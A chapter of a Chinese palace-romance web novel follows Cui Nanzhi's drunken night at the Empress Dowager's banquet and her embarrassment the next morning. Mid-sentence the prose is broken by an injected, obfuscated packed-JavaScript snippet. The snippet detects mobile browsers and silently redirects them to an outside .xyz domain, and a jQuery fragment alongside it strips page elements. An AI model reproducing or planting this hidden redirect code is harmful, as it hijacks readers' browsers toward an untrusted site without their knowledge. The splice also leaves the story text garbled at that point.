他一言不发,常进宝也不敢吭声。 天子回殿内,太后与昌乐公主闲话家常,宜春郡主陪在身侧,见到天子连忙起来行礼。 “刚出去醒了醒酒。”天子言简意赅,赶在太后开口前截住话头。 宜春郡主出降还是陛下批下的折子,她从小就怕这位不苟言笑的舅舅,行了礼就往昌乐公主身后躲,逗得太后直笑:“都出降了还跟小姑娘似的,看着宜春长大的,性子和小时候比真是一点没变。”说着意味深长地看了眼天子:“可比你那舅舅讨喜多了。” 昌乐公主打圆场:“陛下一心为国为民,想来是暂时匀不出时间应付后宫琐事。” “你就帮他说话吧。”太后嗔她,“瞧瞧宜春,新婚小夫妻蜜里调油的,你看着就不羡慕?” 天子喝了杯酒:“朕倒不知道中郎将什么时候成了闲职,还有空顾念儿女情长。” 太后没好气地瞪他一眼,安抚害怕的宜春郡主:“别听你舅舅瞎说,他就是个不开窍的木头,你和夫君好好过日子。” 宜春郡主赧然点头,拉了拉昌乐公主的衣袖,小声问道:“阿娘,你要带我见的太子妃在哪?” 昌乐公主环顾四周,没找到崔南栀人影。 常进宝借着为太后和公主分忧的名头,假装找几个女官打听了下,回来说崔娘子喝醉下去歇息了。 昌乐公主有些失望,但醉酒这种事谁也说不准,只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13725206|144948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得道下次有机会再见。 · 崔南栀也没想到自己如此不胜酒力,等睁开眼时已经是第二天晌午。 好在只是给女眷们的果酒,本就不烈,不至于过了一晚还在头痛。 “我不是在太后寿宴吗……怎么回来的?”崔南栀按着还隐隐发晕的眉心。 女使一边帮她梳洗一边道:“崔娘子昨夜醉了,是陈夫人把您带回来的。” 她昨晚好像是和陈夫人说话了,但崔南栀总感觉还有什么别的事被她遗漏。 “只有舅母吗?” “还有宫里的女官,一起将您送回来的。” 不止有她们。 崔南栀试图回忆昨晚的事,肩头似乎还残留着温热的触感。 “我怎么记得——”她的话语在看到桌上衣服时戛然而止。 古人的”触景生情”也许不一定是伤感,也可能是像她现在这样恨不得找条缝钻进去。 女使见她愣愣的,解释道:“宫里的女官说,这衣服昨夜就盖在您身上,便一同拿回来了。” 两件衣服,一件是内臣服饰,一件是…… 崔南栀想起来昨天另一个是谁了。 她竟然抓着一国之君不放,逼着他听自己哭诉思乡之情。也许掺杂了些太子的坏话,但愿她没有口不择言说不该说的内容。 还把陛下的腿当枕头,抱怨几句枕头太硬,她喜欢睡软枕。 她为什么要想起来?她就应该直接失忆,把昨晚的事忘得干干净净。 “崔、崔娘子?是不是酒还没醒,哪里不舒服?” 女使扶住摇摇欲坠的身躯,鉴于崔娘子有晕过去的前科,她半分不敢懈怠,高声唤来其他人,七手八脚地把崔南栀扶回床上。 “去请郎中看看吧,崔娘子脸色好差。”女使被吓坏了,“还有芳丹姑姑一并请来!” 崔南栀捂住脸,昨夜的场景一幕幕在脑中回放。 她是不是潜意识里没有习惯身份转变,还把他当晋王看待。 芳丹掀起帘子,她家小娘子整张脸埋在软枕里,听到她的声音才抬头,眼眶红红:“嬷嬷,我好像死到临头了……” “呸呸呸,说什么晦气话。”芳丹皱眉,“酒还没醒吗?” “醒了。”崔南栀重新埋进枕头里,“还不如没醒。” “胡说八道。” 崔南栀一腔委屈无处诉说,她总不能说把陛下的身体当枕头睡了,还说了很多僭越的话。 他会不会越想越气,下个旨意把她拖去砍了吧。 “别请郎中,我真的已经酒醒了。” 她现在哪里还糊涂,清醒得不能再清醒了,甚至能回忆起陛下衣料的触感,他脸上一瞬而过的诧异表情。 昨夜陈夫人也累得够呛,崔南栀还得起身去谢谢舅母。 然而现实没留给她多少时间懊恼昨夜醉酒之事,她才到花厅门口,就听到里面传来女郎的啜泣声。 陈夫人正在安慰儿媳,见崔南栀在门口踌躇不定,招手让她快些进来。 祝萦哭得眼皮红肿,郑煜无措地立在一边,向崔南栀投去求助的眼神。